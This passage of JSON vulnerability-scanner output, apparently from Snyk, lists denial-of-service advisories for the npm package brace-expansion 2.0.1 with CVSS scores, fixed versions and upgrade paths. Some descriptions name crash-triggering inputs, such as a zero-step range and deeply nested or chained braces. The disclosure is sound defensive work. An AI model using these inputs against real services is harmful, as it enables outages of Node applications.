"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
